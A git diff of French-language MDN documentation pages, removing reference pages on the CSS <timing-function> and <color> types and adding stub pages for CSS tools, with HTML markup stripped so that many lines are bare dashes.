  • *|* - correspond à tous les éléments
    • -
  • |* - correspond à tous les éléments sans espace de noms déclaré
    • -
- -

Syntaxe

- -
* { style properties }
- -

L'astérisque est optionnelle lorsqu'elle est utilisée avec des sélecteurs simples. Par exemple, *.warning et .warning seront équivalents.

- -

Exemples

- -

CSS

- -
* [lang^=fr] {
-  color:green;
-}
-
-*.warning {
-  color:red;
-}
-
-*#maincontent {
-  border: 1px solid blue;
-}
-
-.floating {
-  float: left;
-}
-
-.floating + * {
-  clear: left;
-}
-
- -

HTML

- -
<p class="warning">
-  <span lang="fr">Un span vert</span> dans un paragraphe rouge.
-</p>
-<p id="maincontent" lang="fr">
-  <span class="warning">Un span rouge</span> dans un paragraphe vert.
-</p>
- -

Résultat

- -

{{EmbedLiveSample('Exemples', 250, 100)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}{{Spec2('CSS4 Selectors')}}Aucune modification.
{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}{{Spec2('CSS3 Selectors')}}Définition du comportement avec les espaces de noms et ajout d'indications pour omettre le sélecteur avec les pseudo-éléments.
{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}{{Spec2('CSS2.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.universal")}}

diff --git a/files/fr/web/css/timing-function/index.html b/files/fr/web/css/timing-function/index.html deleted file mode 100644 index 4170f065b1..0000000000 --- a/files/fr/web/css/timing-function/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: -slug: Web/CSS/timing-function -tags: - - CSS - - Reference - - Type -translation_of: Web/CSS/easing-function -translation_of_original: Web/CSS/timing-function ---- -
{{CSSRef}}
- -

Le type de donnée <timing-function> représente une fonction mathématique qui décrit la vitesse à laquelle évolue une valeur unidimensionnelle lors d'une transition ou d'une animation. Cela permet de définir une courbe d'accélération afin que la vitesse de l'animation puisse changer lors de son exécution. Ces fonctions sont souvent appelées « fonction de temporisation » ou « easing functions » (en anglais).

- -

Cette fonction prend comme entrée un ratio de temps (0 : l'état initial, 1 : l'état final) et produit un ratio d'évolution (sous la forme d'une valeur {{cssxref("<number>")}}) allant également de 0.0 à 1.0.

- -

- -

Le ratio de sortie peut être supérieur à 1.0 ou inférieur à 0.0. Cela entraînera l'animation « plus loin » que l'état final ou initial avant de revenir. Cela permettra de créer un effet de rebondissement.

- -

Toutefois, si la valeur de sortie correspondante est entrainée hors de son domaine de validité (par exemple une composante de couleur entraînée au-delà de 255), la valeur est ramenée à la valeur autorisée la plus proche (dans l'exemple : 255).

- -

Valeurs

- -
-

CSS prend en charge deux types de fonctions de temporisation :

- -
    -
  • un sous-ensemble des courbes de Bézier cubiques
    • -
  • des fonctions en escalier.
    • -
- -

Les plus utiles de ces fonctions sont également disponibles via un mot-clé qui permet de les décrire.

- -

La classe de fonctions cubic-bezier()

- -

- -

La notation fonctionnelle cubic-bezier() définit une courbe de Bézier cubique. Ces courbes sont continues et sont généralement « douces » (peu de variations) au début et à la fin.

- -

Une courbe de Bézier cubique se définit par quatre points P0, P1, P2, et P3. P0 et P3 correspondent respectivement au début et à la fin de la courbe. En CSS, ces points sont fixes car les coordonnées des points expriment des ratios. P0 est donc (0, 0) (instant initial et état initial) et P3 est (1, 1) (instant final et état final).

- -

Tous les courbes de Bézier cubiques ne peuvent pas être utilisées comme des fonctions de temporisation. Certaines de ces courbes ne sont pas des fonctions mathématiques (c'est-à-dire des courbes qui n'ont qu'une valeur pour une abscisse donnée). P0 et P3 sont fixés par la définition CSS et une courbe de Bézier cubique est donc uniquement valide si et seulement si les abscisses des points P1 et P2 sont toutes les deux comprises dans l'intervalle [0, 1].

- -

Les courbes de Bézier cubiques pour lesquelles les ordonnées de P1 et/ou P2 sont situées en dehors de l'intervalle [0, 1] génèreront un effet de rebondissement.

- -

Lorsqu'on définit une courbe de Bézier invalide en CSS via cubic-bezier, le moteur ignore la déclaration dans son intégralité.

-
- -

Syntaxe

- -
cubic-bezier(x1, y1, x2, y2)
-
- -

avec

- -
-
x1, y1, x2, y2
-
qui sont des valeurs de type {{cssxref("<number>")}} représentant les abscisses et les ordonnées des points P1 et P2 définissant la courbe de Bézier cubique. x1 et x2 doivent appartenir à l'intervalle [0, 1], sinon la valeur est considérée comme invalide.
-
- -

Exemples

- -

Voici des courbes de Bézier cubiques qui peuvent être utilisées en CSS :

- -
cubic-bezier(0.1, 0.7, 1.0, 0.1)
-
-cubic-bezier(0, 0, 1, 1)
-
-/* Des valeurs négatives pour les ordonnées pour */
-/* créer du rebondissement                       */
-cubic-bezier(0.1, -0.6, 0.2, 0)
-
-/* Idem avec des valeurs > 1                     */
-cubic-bezier(0, 1.1, 0.8, 4)
- -

En revanche, ces définitions sont invalides :

- -
/* Bien que le type de sortie puisse être une couleur */
-/* les courbes de Bézier fonctionnent avec des ratios */
-/* numériques */
-cubic-bezier(0.1, red, 1.0, green)
-
-/* Les abscisses doivent appartenir à l'intervalle [0, 1] */
-/* car sinon la courbe n'est pas une fonction temporelle. */
-cubic-bezier(2.45, 0.6, 4, 0.1)
-
-/* Il faut définir les deux points, il n'y a pas de valeur */
-/* par défaut. */
-cubic-bezier(0.3, 2.1)
-
-/* Les abscisses doivent appartenir à l'intervalle [0, 1] */
-/* car sinon la courbe n'est pas une fonction temporelle. */
-cubic-bezier(-1.9, 0.3, -0.2, 2.1)
-
- -

La classe de fonction steps()

- -

La notation fonctionnelle steps() permet de définir une fonction en escalier qui découpe les valeurs de sortie en « marches » de même longueur. Chacune de ces marches correspondra à une étape de l'animation.

- -

- -

steps(2, start)

- -

- -

steps(4, end)

- -

Syntaxe

- -
steps(nombre_de_marche, direction)
-
- -

avec

- -
-
nombre_de_marche
-
Un entier (valeur de type {{cssxref("<integer>")}} qui représente le nombre de marches composant la fonction en escalier.
-
direction
-
Un mot-clé qui indique si la fonction est continue à gauche ou continue à droite : -
    -
  • start indique une fonction continue à gauche : la première marche se déroule à partir du début de l'animation
    • -
  • end indique une fonction continue à droite : la dernière marche se déroule lors de la fin de l'animation.
    • -
- end est la valeur par défaut.
-
- -

Exemples

- -

Voici des exemples de fonction de temporisation en escalier valides :

- -
/* Il y a cinq marches et la dernière est utilisée */
-/* avant la fin de l'animation.                    */
-steps(5, end)
-
-/* Une fonction à deux marches dont la première se */
-/* déroule au début de l'animation.                */
-steps(2, start)
-
-/* Le deuxième paramètre est facultatif. */
-steps(2)
-
- -

En revanche, celles-ci sont invalides :

- -
/* Le premier paramètre doit être un entier (type */
-/* <integer>)                                     */
-steps(2.0, end)
-
-/* Le nombre d'étapes ne peut pas être négatif. */
-steps(-3, start)
-
-/* Il ne peut pas être nul.*/
-steps(0, end)
-
- -

La classe de fonction frames()

- -
-

Note : Le nom "frames" est actuellement en discussion et la classe de fonction associée est actuellement désactivée dans les versions finales des différents navigateurs tant qu'une décision n'a pas été prise.

-
- -

La notation fonctionnelle frames() définit une fonction en escalier avec des intervalles (les marches) équidistantes. La différence difference entre frames() et steps() est que frames() considèrent l'état initial (0%) et final (100%) comme étant des paliers à part entière. Ces états sont donc affichés aussi longtemps que les autres intervalles.

- -

frames(2), frames(4)

- -

 

- -

 

- -

Syntaxe

- -
steps(nombre_etapes)
-
- -

où :

- -
-
nombre_etapes
-
Est un entier ({{cssxref("<integer>")}}) strictement positif qui représente le nombre d'intervalles équidistants qui composent la fonction en escalier.
-
- -

Exemples

- -

Ces fonctions de temporisation sont valides :

- -
/* Le paramètre est un entier positif. */
-frames(10)
-
- -
-

Note : une démo de la fonction frames() avec un exemple fonctionnel est disponible sur notre dépôt GitHub.

-
- -

Ces fonctions de temporisation sont invalides :

- -
/* Le paramètre passé à la fonction doit être un entier
-   et pas une valeur décimale, même si cette dernière est
-   égale à un entier. */
-frames(2.0)
-
-/* Le nombre de frames doit être positif. */
-frames(-3)
-
-/* Il doit y avoir au moins une frame. */
-frames(0)
-
- -

Mots-clés pour les fonctions de temporisation usuelles

- -

linear

- -

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.0, 0.0, 1.0, 1.0). Cette fonction permet de passer de l'état initial à l'état final avec une vitesse constante.

- -

ease

- -

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.25, 0.1, 0.25, 1.0). Cette fonction est semblable à ease-in-out sauf qu'elle accélère plus rapidement au début et ralentit dès la moitié du parcours..

- -

ease-in

- -

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.42, 0.0, 1.0, 1.0). L'animation démarre lentement puis accélère progressivement jusqu'à atteindre l'état final. Cela donne l'impression que l'animation s'arrête brutalement.

- -

ease-in-out

- -

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.42, 0.0, 0.58, 1.0). L'animation démarre lentement puis accélère progressivement avant de ralentir à nouveau à l'approche de l'état final. Dans la première phase, la courbe se comporte comme ease-in et dans la deuxième moitié, elle se comporte comme ease-out.

- -

ease-out

- -

Ce mot-clé représente la fonction de temporisation cubic-bezier(0.0, 0.0, 0.58, 1.0). L'animation démarre rapidement puis ralentit progressivement avant d'atteindre son état final.

- -

step-start

- -

Ce mot-clé représente la fonction de temporisation steps(1, start) (ou steps(1, jump-start)). Avec cette fonction, l'animation passe directement à l'état final dès le début et conserve cet état jusqu'à la fin de l'animation.

- -

step-end

- -

Ce mot-clé représente la fonction de temporisation steps(1, end) (ou steps(1, jump-end)). Avec cette fonction, l'animation reste dans son état initial tout le long de la durée et passe directement à la position finale à la toute fin.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Transitions', '#transition-timing-function', '<timing-function>')}}{{Spec2('CSS3 Transitions')}}Définition initiale.
{{SpecName('CSS3 Animations', '#animation-timing-function', '<timing-function>')}}{{Spec2('CSS3 Animations')}}Définition de <single-timing-function> comme synonyme de <single-transition-timing-function> selon le module CSS pour les transitions.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.types.timing-function", 2)}}

- -

Voir aussi

- -
    -
  • Les propriétés {{cssxref("transition-timing-function")}} et {{cssxref("animation-timing-function")}} qui utilisent une valeur de type <timing-function>
    • -
  • Les animations CSS
    • -
  • Les transitions CSS
    • -
diff --git a/files/fr/web/css/tools/cubic_bezier_generator/index.html b/files/fr/web/css/tools/cubic_bezier_generator/index.html new file mode 100644 index 0000000000..6a4671d141 --- /dev/null +++ b/files/fr/web/css/tools/cubic_bezier_generator/index.html @@ -0,0 +1,13 @@ +--- +title: Générateur de courbe de Bézier +slug: Web/CSS/Outils/Générateur_de_courbe_de_Bézier +tags: + - CSS + - Outils +translation_of: Web/CSS/Tools/Cubic_Bezier_Generator +--- +

{{Draft}}

+ +
+

Note : Cette page n'est pas complète, l'outil doit être finalisé sur la version anglaise.

+
diff --git a/files/fr/web/css/tools/index.html b/files/fr/web/css/tools/index.html new file mode 100644 index 0000000000..ac78261ad4 --- /dev/null +++ b/files/fr/web/css/tools/index.html @@ -0,0 +1,20 @@ +--- +title: Outils +slug: Web/CSS/Outils +tags: + - CSS + - Outils +translation_of: Web/CSS/Tools +--- +

CSS fournit de nombreuses fonctionnalités qui peuvent être paramétrées avec différents facteurs. Il est donc utile de pouvoir visualiser ces paramètres lorsqu'on manipule ces propriétés. Cette page indique différents outils qui pourront vous être utiles lorsque vous construirez vos feuilles de style avec ces fonctionnalités.

+ +

{{LandingPageListSubpages}}

+ +

Autres outils

+ +
    +
  • Stylie pour les animations
    • +
  • Connaître les informations d'affichage d'un appareil (utile pour la conception de sites adaptatifs) : mydevice.io
    • +
  • Construire des menus CSS - cssmenumaker.com
    • +
  • Un linter CSS qui permet de respecter des conventions homogènes et d'éviter des erreurs dans les feuilles de style - stylelint
    • +
diff --git a/files/fr/web/css/tools/linear-gradient_generator/index.html b/files/fr/web/css/tools/linear-gradient_generator/index.html new file mode 100644 index 0000000000..ae2340fd73 --- /dev/null +++ b/files/fr/web/css/tools/linear-gradient_generator/index.html @@ -0,0 +1,13 @@ +--- +title: Générateur de dégradés linéaires +slug: Web/CSS/Outils/Générateur_de_dégradés_linéaires +tags: + - CSS + - Outils +translation_of: Web/CSS/Tools/Linear-gradient_Generator +--- +

{{Draft}}

+ +
+

Note : Cette page n'est pas complète, l'outil doit être finalisé sur la version anglaise.

+
diff --git a/files/fr/web/css/type_color/index.html b/files/fr/web/css/type_color/index.html deleted file mode 100644 index fd238e5816..0000000000 --- a/files/fr/web/css/type_color/index.html +++ /dev/null @@ -1,1379 +0,0 @@ ---- -title: -slug: Web/CSS/Type_color -tags: - - CSS - - Reference - - Type -translation_of: Web/CSS/color_value ---- -
{{CSSRef}}
- -

Le type de données CSS <color> permet de représenter des couleurs dans l'espace de couleurs sRGB. Une couleur pourra être décrite de trois façons :

- - - -

En plus de la couleur exprimée dans l'espace RGB, une valeur <color> contient également un canal alpha qui décrit la transparence de l'image et donc la façon dont cette image se compose avec son arrière-plan.

- -
-

Note : Cet article décrit le type de donnée CSS <color> en détails. Si vous souhaitez en savoir plus sur l'utilisation des couleurs en HTML, n'hésitez pas à lire Appliquer des couleurs à des éléments HTML grâce à CSS.

-
- -

Syntaxe

- -
-

Bien que les valeurs des couleurs CSS soient définies précisément, elles pourront s'afficher différemment sur différents appareils. La plupart des appareils ne sont pas calibrés et certains navigateurs ne prennent pas en charge le profil de couleurs de l'appareil. Sans ces éléments, le rendu des couleurs peut varier.

-
- -

Il existe plusieurs méthodes pour décrire une valeur <color>.

- -

Les mots-clés

- -

Les mots-clés sont des identifiants insensibles à la casse qui représentent une couleur donnée. Par exemple, le mot-clé red représentera la couleur rouge, blue le bleu, brown le marron, etc. La liste des valeurs autorisées a fortement évolué au cours des différentes versions de la spécification :

- -
    -
  • La spécification CSS de niveau 1 n'acceptait que 16 couleurs basiques, construites à partir des couleurs VGA disponibles sur les cartes graphiques.
    • -
  • La spécification CSS de niveau 2 a ajouté le mot-clé orange.
    • -
  • Depuis le début des couleurs CSS, les navigateurs ont pris en charge d'autres couleurs, notamment les couleurs X11 car certains des premiers navigateurs étaient des applications X11. SVG 1.0 a été le premier standard qui a défini formellement ces mots-clés et la spécification CSS de niveau 3 sur les couleurs a aussi défini ces couleurs formellement. Ces différentes couleurs sont parfois intitulées couleurs étendues (extended colors), couleurs X11 ou couleurs SVG.
    • -
  • La spécification CSS de niveau a ajouté la couleur rebeccapurple en l'honneur d'Eric Meyer.
    • -
- -

Voici quelques inconvénients liés aux mots-clés :

- -
    -
  • En dehors des 16 couleurs de base présentes également en HTML, les autres valeurs ne peuvent pas être utilisées en HTML. HTML convertira ces valeurs inconnues avec un algorithme spécifique qui donnera d'autres couleurs à l'arrivée. Ces mots-clés ne doivent être utilisés qu'avec SVG ou CSS.
    • -
  • Si un mot-clé inconnu est utilisé, la propriété sera considérée comme invalide et sera donc ignorée. Le comportement est donc différent de HTML (qui calculera une couleur).
    • -
  • Aucun mot-clé ne définit de couleurs transparentes, toutes les couleurs indiquées par des mots-clés sont unies et opaques.
    • -
  • Certains mots-clés désignent la même couleur : -
      -
    • aqua / cyan
      • -
    • fuchsia / magenta
      • -
    • darkgray / darkgrey
      • -
    • darkslategray / darkslategrey
      • -
    • dimgray / dimgrey
      • -
    • lightgray / lightgrey
      • -
    • lightslategray / lightslategrey
      • -
    • gray / grey
      • -
    • slategray / slategrey
      • -
    -
    • -
  • Bien que les noms des mots-clés soient calqués sur les couleurs X11, les couleurs correspondantes peuvent être différentes en CSS et avec X11 car pour ce dernier les couleurs étaient conçues pour le matériel du constructeur.
    • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationCouleurMot-cléValeurs exprimées en hexadécimal RGBExemple « live » dans le navigateur
{{SpecName("CSS1")}}black#000000
silver#c0c0c0
gray#808080
white#ffffff
maroon#800000
red#ff0000
purple#800080
fuchsia#ff00ff
green#008000
lime#00ff00
olive#808000
yellow#ffff00
navy#000080
blue#0000ff
teal#008080
aqua#00ffff
{{SpecName("CSS2.1")}}orange#ffa500
{{SpecName("CSS3 Colors")}}aliceblue#f0f8ff
antiquewhite#faebd7
aquamarine#7fffd4
azure#f0ffff
beige#f5f5dc
bisque#ffe4c4
blanchedalmond#ffebcd
blueviolet#8a2be2
brown#a52a2a
burlywood#deb887
cadetblue#5f9ea0
chartreuse#7fff00
chocolate#d2691e
coral#ff7f50
cornflowerblue#6495ed
cornsilk#fff8dc
crimson#dc143c
cyan (synonyme de aqua)#00ffff
darkblue#00008b
darkcyan#008b8b
darkgoldenrod#b8860b
darkgray#a9a9a9
darkgreen#006400
darkgrey#a9a9a9
darkkhaki#bdb76b
darkmagenta#8b008b
darkolivegreen#556b2f
darkorange#ff8c00
darkorchid#9932cc
darkred#8b0000
darksalmon#e9967a
darkseagreen#8fbc8f
darkslateblue#483d8b
darkslategray#2f4f4f
darkslategrey#2f4f4f
darkturquoise#00ced1
darkviolet#9400d3
deeppink#ff1493
deepskyblue#00bfff
dimgray#696969
dimgrey#696969
dodgerblue#1e90ff
firebrick#b22222
floralwhite#fffaf0
forestgreen#228b22
gainsboro#dcdcdc
ghostwhite#f8f8ff
gold#ffd700
goldenrod#daa520
greenyellow#adff2f
grey#808080
honeydew#f0fff0
hotpink#ff69b4
indianred#cd5c5c
indigo#4b0082
ivory#fffff0
khaki#f0e68c
lavender#e6e6fa
lavenderblush#fff0f5
lawngreen#7cfc00
lemonchiffon#fffacd
lightblue#add8e6
lightcoral#f08080
lightcyan#e0ffff
lightgoldenrodyellow#fafad2
lightgray#d3d3d3
lightgreen#90ee90
lightgrey#d3d3d3
lightpink#ffb6c1
lightsalmon#ffa07a
lightseagreen#20b2aa
lightskyblue#87cefa
lightslategray#778899
lightslategrey#778899
lightsteelblue#b0c4de
lightyellow#ffffe0
limegreen#32cd32
linen#faf0e6
magenta (synonyme de fuchsia)#ff00ff
mediumaquamarine#66cdaa
mediumblue#0000cd
mediumorchid#ba55d3
mediumpurple#9370db
mediumseagreen#3cb371
mediumslateblue#7b68ee
mediumspringgreen#00fa9a
mediumturquoise#48d1cc
mediumvioletred#c71585
midnightblue#191970
mintcream#f5fffa
mistyrose#ffe4e1
moccasin#ffe4b5
navajowhite#ffdead
oldlace#fdf5e6
olivedrab#6b8e23
orangered#ff4500
orchid#da70d6
palegoldenrod#eee8aa
palegreen#98fb98
paleturquoise#afeeee
palevioletred#db7093
papayawhip#ffefd5
peachpuff#ffdab9
peru#cd853f
pink#ffc0cb
plum#dda0dd
powderblue#b0e0e6
rosybrown#bc8f8f
royalblue#4169e1
saddlebrown#8b4513
salmon#fa8072
sandybrown#f4a460
seagreen#2e8b57
seashell#fff5ee
sienna#a0522d
skyblue#87ceeb
slateblue#6a5acd
slategray#708090
slategrey#708090
snow#fffafa
springgreen#00ff7f
steelblue#4682b4
tan#d2b48c
thistle#d8bfd8
tomato#ff6347
turquoise#40e0d0
violet#ee82ee
wheat#f5deb3
whitesmoke#f5f5f5
yellowgreen#9acd32
{{SpecName("CSS4 Colors")}}rebeccapurple#663399
- -

La couleur rebeccapurple est équivalente à la couleur #639. Pour mieux comprendre pourquoi elle a été ajoutée, vous pouvez lire ce billet Codepen par Trezy « Honorer un grand homme » (en anglais).

- -

Le mot-clé transparent

- -

transparent est un mot-clé qui représente une couleur totalement transparente (autrement dit, la couleur qui sera vue sera la couleur située en arrière-plan). D'un point de vue technique, il s'agit d'un noir pur avec un canal alpha minimal : rgba(0,0,0,0).

- -
-

Note : Attention lorsqu'on utilise ce mot-clé pour un dégradé (cf.{{cssxref("gradient")}}, la spécification W3C indique que transparent devrait être calculé dans l'espace de couleurs avec pré-multiplication des alpha. Cependant, les anciens navigateurs peuvent traiter ce noir avec une valeur alpha de 0.

-
- -
Note historique : Le mot-clé transparent n'était pas une valeur de type <color> pour la spécification CSS de niveau 2 (première révision). C'était un mot-clé qui pouvait être utilisé comme valeur pour les propriétés {{cssxref("background")}} et {{cssxref("border")}}. Il a été ajouté afin de pouvoir surcharger l'héritage de couleurs opaques. Avec l'ajout de la gestion de l'opacité via les canaux alpha, transparent a été redéfini comme une couleur avec la spécification CSS de niveau 3 sur les couleurs, ce qui permet de l'utiliser à n'importe quel endroit où une valeur <color> est nécessaire (la propriété {{cssxref("color")}} par exemple).
- -

Le mot-clé currentColor

- -

Le mot-clé currentColor représente la valeur calculée de la propriété {{cssxref("color")}} pour l'élément. Il permet aux propriétés de couleur d'hériter de la valeur de l'élément parent même si, par défaut, celles-ci n'utilisent pas l'héritage.

- -

Il peut également être utilisé sur des propriétés qui héritent de la valeur calculée de la propriété {{cssxref("color")}} de l'élément. Cela sera alors équivalent au mot-clé {{cssxref("inherit")}}.

- -

Si currentColor est utilisée comme valeur pour la propriété color, sa valeur est déterminée à partir de la valeur héritée pour la propriété color.

- -

Exemples

- -

La couleur de la ligne prend la couleur héritée depuis son élément parent.

- -
-
Exemple live n°1
- -
<div style="color:darkred">
- La couleur de ce texte est bleu.
-  <div style="background:currentColor; height:1px"></div>
- Un peu de texte.
-</div>
-
- -

{{EmbedLiveSample('Exemple_live_n°1')}}

- -
Exemple live n°2
- -
<div style="color:blue; border-bottom: 1px dashed currentColor;">
- La couleur de ce texte est bleu :
-  <div style="background:currentColor; height:1px"></div>
- Un peu de texte.
-</div>
- -

{{EmbedLiveSample('Exemple_live_n°2')}}

-
- -

Les couleurs RGB

- -

Les couleurs peuvent être définies selon le modèles rouge-vert-bleu-alpha (RGB avec une composante alpha, optionnelle, pour gérer la transparence.

- -

Syntaxe

- -

Les couleurs RGB peuvent être exprimées avec une notation hexadécimale (préfixée avec #) ou avec des notations fonctionnelles (rgb() ou rgba()).

- -
-

Note : Dans la spécification du module CSS Color de niveau 4, rgba() a été définie comme une fonction historique dont la grammaire et le comportement est le même que rgb(). C'est donc un synonyme. À partir de cette spécification, les deux peuvent accepter les mêmes paramètres.

-
- -
-
Notation hexadécimale : #RRGGBB[AA]
-
Le signe « # » suivi par huit caractères hexadécimaux (0-9, A-F), les deux premiers déterminent la composante rouge, les deux suivants la composante verte puis la composante bleue et enfin les deux derniers, optionnels, déterminent la composante alpha.
-
Notation hexadécimale : #RGB[A]
-
le signe « # » suivi par quatre caractères hexadécimaux (0-9, A-F), le premier chiffre représente la composante rouge, le deuxième la composante verte, le troisième la composante bleue et le quatrième, optionnel, la composante alpha.
-
Notation fonctionnelle avec des virgules : rgb(R, G, B[, A]) ou rgba(R, G, B, A)
-
Cette fonction permet d'ajouter une composante d'opacité (par rapport à la fonction rgb()). Le quatrième argument définira la force de l'opacité : 1 pour une opacité complète et 0 pour une transparence totale. Les arguments peuvent être des nombres ({{cssxref("<number>")}}) ou des pourcentages ({{cssxref("<percentage>")}}) (ex. rgb(1e2, .5e1, .5e0, +.25e2%)).
-
Notation fonctionnelle : rgb(R G B[ / A]) ou rgba(R G B / A)
-
Cette forme fonctionne de façon analogue à la forme précédente depuis le module de spécification CSS Colors Level 4.
-
- -

Exemples

- -
Les différentes variantes pour la syntaxe RGB
- -
/* Ces exemples définissent tous la même couleur */
-#f03
-#F03
-#ff0033
-#FF0033
-rgb(255,0,51)
-rgb(255, 0, 51)
-rgb(255, 0, 51.0)
-rgb(100%,0%,20%)
-rgb(100%, 0%, 20%)
-rgb(100%, 0, 20%) /* Erreur : on ne peut pas mélanger les nombres et les pourcentages */
-
- -
RGBa
- -
/* Notation hexadécimale */
-#f030               /*   0% opacité - rouge */
-#F03F               /* 100% opacité - rouge */
-#ff003300           /*   0% opacité - rouge */
-#FF003388           /*  50% opacité - rouge */
-
-/* Notation fonctionnelle */
-rgba(255,0,0,0.1)   /*  10% opacité - rouge */
-rgba(255,0,0,0.4)   /*  40% opacité - rouge */
-rgba(255,0,0,0.7)   /*  70% opacité - rouge */
-rgba(255,0,0,  1)   /* 100% opacité - rouge */
-
-/* Notation fonctionnelle avec des nombres décimaux */
-rgba(255, 0, 153.6, 1)
-rgba(1e2, .5e1, .5e0, +.25e2%)
-
-/* Notation avec un espace */
-rgba(255 0 0 / 0.4) /* 40% opacité - rouge */
-rgba(255 0 0 / 40%) /* 40% opacité - rouge */
- -

Les couleurs HSL

- -

Les couleurs peuvent également être définies selon le modèle HSL (pour Hue-Saturation-Lightness qui signifie teinte-saturation-clarté).

- -

HSL est considéré comme plus intuitif que RGB car on peut ajuster les couleurs au fur et à mesure ou créer des palettes de couleurs plus simplement (par exemple en conservant la même teinte et en faisant varier la saturation et/ou la clarté).

- -

Syntaxe

- -

Pour HSL, les couleurs peuvent être exprimées via les notations fonctionnelles hsl() ou hsla().

- -
-

Note : Dans la spécification du module CSS Color de niveau 4, hsla() a été définie comme une fonction historique dont la grammaire et le comportement est le même que hsl(). C'est donc un synonyme. À partir de cette spécification, les deux peuvent accepter les mêmes paramètres.

-
- -
-
Notation fonctionnelle : hsl(H, S, L,[, A]) ou hsla(H, S, L, A)
-
-

La valeur H correspond à la teinte (hue) et est représentée comme un angle {{cssxref("<angle>")}} sur le cercle des couleurs. Lorsque la valeur est écrite sans unité, elle est considérée comme une valeur exprimée en degré. Par définition, le rouge correspond à 0 et 360 et les autres couleurs évoluent sur le cercle. Vert correspond à 120 et bleu à 240. La valeur se comporte comme un angle et « tournera en boucle » avec une même mesure de couleur qui peut avoir différentes valeurs (par exemple -120 sera équivalent à 240 et 480 sera équivalent à 120).

- -

La valeur S correspond à la saturation (saturation) et la valeur L correspond à la clarté (lightness), ces deux valeurs sont représentées par des pourcentages. Pour la saturation, avec 100% l'image sera complètement saturée et avec 0%, l'image sera en nuances de gris. Pour la clarté, 100% correspondra à du blanc et 0% à du noir. 50% agira comme une clarté « normale ».

- -

La valeur A (canal alpha) peut être un nombre (type {{cssxref("<number>")}} entre 0 et 1 ou un pourcentage (type {{cssxref("<percentage>")}} (la valeur 100% correspond alors à la valeur numérique 1 : opacité complète).

-
-
Notation fonctionnelle : hsl(H S L[ / A]) ou hsla(H S L / A)
-
-

Le module CSS Colors Level 4 ajoute la prise en charge de la notation fonctionnelle avec les espaces comme séparateur.

-
-
- -

Exemples

- -
HSL
- -
hsl(0,  100%,50%)   /* red */
-hsl(30, 100%,50%)
-hsl(60, 100%,50%)
-hsl(90, 100%,50%)
-hsl(120,100%,50%)   /* green */
-hsl(150,100%,50%)
-hsl(180,100%,50%)
-hsl(210,100%,50%)
-hsl(240,100%,50%)   /* blue */
-hsl(270,100%,50%)
-hsl(300,100%,50%)
-hsl(330,100%,50%)
-hsl(360,100%,50%)   /* red */
-
-hsl(120,100%,25%)   /* dark green */
-hsl(120,100%,50%)   /* green */
-hsl(120,100%,75%)   /* light green */
-
-hsl(120,100%,50%)   /* green */
-hsl(120, 67%,50%)
-hsl(120, 33%,50%)
-hsl(120,  0%,50%)
-
-hsl(120, 60%,70%)   /* pastel green */
-
-/* syntaxe avec les espaces */
-hsl(120 60% 70%) /* pastel green */
-
-/* Valeur d'angle */
-/* on peut également utiliser les unités */
-/* rad, grad, turn */
-hsl(120deg 60% 70%) /* pastel green */
-
-/* Valeur alpha optionnelle */
-hsl(240,100%,50%,0.05)   /* 5% opaque blue */
-hsl(240,100%,50%,5%)     /* 5% opaque blue with percentage value for alpha */
-hsl(240 100% 50% / 0.05) /* 5% opaque blue */
-hsl(240 100% 50% / 5%)   /* 5% opaque blue with percentage value for alpha */
-
- -
HSLa
- -
hsla(240,100%,50%,0.05)  /* 5% opaque blue */
-hsla(240,100%,50%, 0.4)  /* 40% opaque blue */
-hsla(240,100%,50%, 0.7)  /* 70% opaque blue */
-hsla(240,100%,50%,   1)  /* full opaque blue */
-
-/* syntaxe avec un espace */
-hsla(240 100% 50% / 0.05)/* 5% opaque blue */
-
-/* valeur en pourcentage pour l'alpha */
-hsla(240 100% 50% / 5%)/* 5% opaque blue */
-
-/* valeur d'angle pour la teinte */
-/* les unités rad, grad et turn*/
-/* sont également acceptées */
-hsla(240deg 100% 50% / 5%)/* 5% opaque blue */
-hsla(240deg,100%,50%, 0.4) /* 40% opaque blue */
- -

